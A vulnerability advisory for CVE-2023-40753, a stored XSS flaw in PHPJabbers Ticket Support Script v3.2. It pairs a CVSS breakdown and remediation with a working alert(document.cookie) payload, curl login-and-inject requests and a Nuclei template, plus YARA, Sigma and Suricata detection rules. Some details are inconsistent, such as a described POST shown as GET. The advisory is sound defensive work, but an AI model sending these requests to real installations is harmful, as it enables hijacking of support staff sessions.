CVE-2023-40753

Executive Summary

CVE-2023-40753 is a stored Cross-Site Scripting (XSS) vulnerability in PHPJabbers Ticket Support Script v3.2. An authenticated attacker can inject arbitrary JavaScript code via the message parameter in the ticket notification creation functionality. When a support staff member views the crafted notification, the injected script executes in their browser context, potentially leading to session hijacking, data exfiltration, or further compromise of the support system. The vulnerability is publicly documented with a working Nuclei template, and no official patch has been released by the vendor.

Supply Chain & Package Security

This is a PHP web application, not a package manager distribution. No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector (AV): Network – the vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): Low – attacker needs an authenticated user account.
• User Interaction (UI): Required – the victim (support staff) must view the crafted notification.
• Scope (S): Changed – the injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – limited data exposure possible.
• Integrity (I): Low – limited ability to modify data.
• Availability (A): None – no impact on system availability.

Threat Level: Medium. Exploitation requires authentication and user interaction, but the impact can be significant in a support ticketing context where sensitive customer data is handled.

Deep Dive & Mechanics

The vulnerability resides in the index.php script of PHPJabbers Ticket Support Script v3.2. The application fails to properly sanitize or encode user-supplied input in the message parameter when creating a new ticket notification. The notification is stored in the database and later rendered in the support staff's interface without proper output encoding.

Attack Flow:

1. An attacker authenticates to the application.
2. The attacker crafts a POST request to create a new ticket notification, injecting a malicious payload into the message parameter. The payload includes a closing </textarea> tag to break out of any existing HTML context, followed by a <script> tag containing JavaScript code.
3. The application stores the notification with the unsanitized payload.
4. When a support staff member views the notification list or the specific notification, the browser renders the injected script.
5. The script executes in the context of the support staff's session, allowing the attacker to steal cookies, perform actions on behalf of the victim, or exfiltrate sensitive ticket data.

Root Cause: Lack of input validation and output encoding for the message parameter. The application does not use functions like htmlspecialchars() or strip_tags() before storing or displaying user input.

Vulnerable vs. Patched Code

Vulnerable Code (PHPJabbers Ticket Support Script v3.2):

// In the notification creation handler
$message = $_POST['message'];
// No sanitization or encoding
$query = "INSERT INTO notifications (message) VALUES ('$message')";
// ... later in the view
echo "<textarea>$message</textarea>";

Patched Code (Hypothetical):

// In the notification creation handler
$message = htmlspecialchars($_POST['message'], ENT_QUOTES, 'UTF-8');
$query = "INSERT INTO notifications (message) VALUES ('$message')";
// ... later in the view
echo "<textarea>" . htmlspecialchars($message, ENT_QUOTES, 'UTF-8') . "</textarea>";

The patched version uses htmlspecialchars() to encode special HTML characters, preventing script injection. Additionally, prepared statements should be used to prevent SQL injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of PHPJabbers Ticket Support Script v3.2.
• Valid credentials for an authenticated user.

Exploitation Steps:

1. Authenticate to the application.
2. Send a crafted POST request to create a notification with a malicious payload.
3. The payload will be stored and executed when a support staff member views the notification.

Example Payload:

</textarea><script>alert(document.cookie);</script><textarea>

Full Exploit Request (using curl):

curl -X POST "http://target/index.php?controller=pjBase&action=pjActionLogin" \
  -d "login_user=1&login_email=attacker@example.com&login_password=password123&login_captcha=" \
  -c cookies.txt

curl -X GET "http://target/index.php?notification_create=1&type=NewTicket&department_id%5B%5D=2&user_id%5B%5D=1&i18n%5B1%5D%5Bsubject%5D=Test&i18n%5B1%5D%5Bmessage%5D=%3C%2Ftextarea%3E%3Cscript%3Ealert(document.cookie)%3B%3C%2Fscript%3E%3Ctextarea%3E" \
  -b cookies.txt

Blue Team

Detection and Response:

• Monitor for unusual POST requests to /index.php with parameters containing HTML tags or JavaScript code.
• Inspect the message parameter for patterns like </textarea>, <script>, or onerror= attributes.
• Use web application firewalls (WAF) to block requests containing XSS payloads.
• Implement Content Security Policy (CSP) headers to mitigate the impact of XSS.

Lab Setup for Testing:

1. Deploy PHPJabbers Ticket Support Script v3.2 in a controlled environment.
2. Create a test user account.
3. Use the provided Nuclei template or manual curl commands to verify the vulnerability.
4. Monitor application logs for the injected payload.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /index.php with notification_create=1 and i18n[1][message] parameter containing HTML/JavaScript.
  • Outbound connections from the server to attacker-controlled domains (if the payload exfiltrates data).
• File IOCs:
  • Log entries in web server logs showing the injected payload.
  • Database entries in the notifications table containing <script> tags.
• Behavioral IOCs:
  • Unexpected JavaScript execution in the browser of support staff.
  • Unauthorized ticket access or modifications.

Detection Engineering

YARA Rule

rule CVE_2023_40753_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting PHPJabbers Ticket Support Script v3.2"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-40753"
    strings:
        $payload1 = "</textarea><script>" ascii wide nocase
        $payload2 = "</textarea><ScRiPt>" ascii wide nocase
        $payload3 = "alert(document.domain)" ascii wide nocase
        $payload4 = "alert(document.cookie)" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2023-40753 XSS in PHPJabbers Ticket Support Script
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects XSS attempts targeting the message parameter in PHPJabbers Ticket Support Script v3.2
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40753
    - https://medium.com/@tfortinsec/multiple-vulnerabilities-in-phpjabbers-part-3-40fc3565982f
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'notification_create=1'
            - 'i18n[1][message]='
        cs-uri-query|contains|all:
            - '</textarea>'
            - '<script>'
    condition: selection
falsepositives:
    - Legitimate use of HTML in notifications (unlikely)
level: high
tags:
    - attack.t1059.007
    - cve.2023.40753

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-40753 XSS in PHPJabbers Ticket Support Script"; flow:to_server,established; content:"GET"; http_method; content:"/index.php"; http_uri; content:"notification_create=1"; http_uri; content:"i18n[1][message]="; http_uri; pcre:"/<\/textarea><script>/iU"; reference:cve,2023-40753; classtype:web-application-attack; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2023-40753

info:
  name: PHPJabbers Ticket Support Script v3.2 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    There is a Cross Site Scripting (XSS) vulnerability in the message parameter of index.php in PHPJabbers Ticket Support Script v3.2.
  impact: |
    Authenticated attackers can inject malicious JavaScript through the message parameter in ticket notifications, potentially stealing support staff session cookies and accessing sensitive customer support tickets.
  remediation: |
    Update PHPJabbers Ticket Support Script to a version newer than 3.2 that properly sanitizes the message parameter and encodes output in notifications.
  reference:
    - https://medium.com/@tfortinsec/multiple-vulnerabilities-in-phpjabbers-part-3-40fc3565982f
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40753
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-40753
    cwe-id: CWE-79
    epss-score: 0.00918
    epss-percentile: 0.76036
    cpe: cpe:2.3:a:phpjabbers:ticket_support_script:3.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"PHPJabbers"
    fofa-query: body="PHPJabbers"
    vendor: phpjabbers
    product: ticket_support_script
  tags: cve,cve2023,phpjabbers,ticket-support-script,xss,authenticated,vuln

http:
  - raw:
      - |
        POST /index.php?controller=pjBase&action=pjActionLogin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        login_user=1&login_email={{username}}&login_password={{password}}&login_captcha=

      - |
        GET /notification_create=1&type=NewTicket&department_id%5B%5D=2&user_id%5B%5D=1&i18n%5B1%5D%5Bsubject%5D=a&i18n%5B1%5D%5Bmessage%5D=%3C%2Ftextarea%3E%3CscrIpt%3Ealert(document.domain)%3B%3C%2FscRipt%3E%3Ctextarea%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "</textarea><scrIpt>alert(document.domain);</scRipt><textarea>"
          - "Subject"
          - "Recipient users"
        condition: and

      - type: word
        part: content_type_2
        words:
          - text/html

      - type: status
        status:
          - 200

Remediation & Mitigation

Immediate Actions:

1. Disable the notification creation feature if not essential, or restrict access to trusted users only.
2. Implement input validation – strip all HTML tags from the message parameter using strip_tags() or a similar function.
3. Apply output encoding – use htmlspecialchars() with ENT_QUOTES and UTF-8 encoding when displaying the message in the browser.
4. Deploy a Web Application Firewall (WAF) with rules to block XSS payloads.

Long-Term Fix:

• Contact PHPJabbers for an official patch or upgrade to a newer version if available.
• If no patch is forthcoming, consider migrating to a different, actively maintained support ticket solution.

Detection and Monitoring:

• Implement the provided Sigma and Suricata rules to detect exploitation attempts.
• Regularly review web server logs for suspicious activity.
• Conduct periodic security assessments of the application.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

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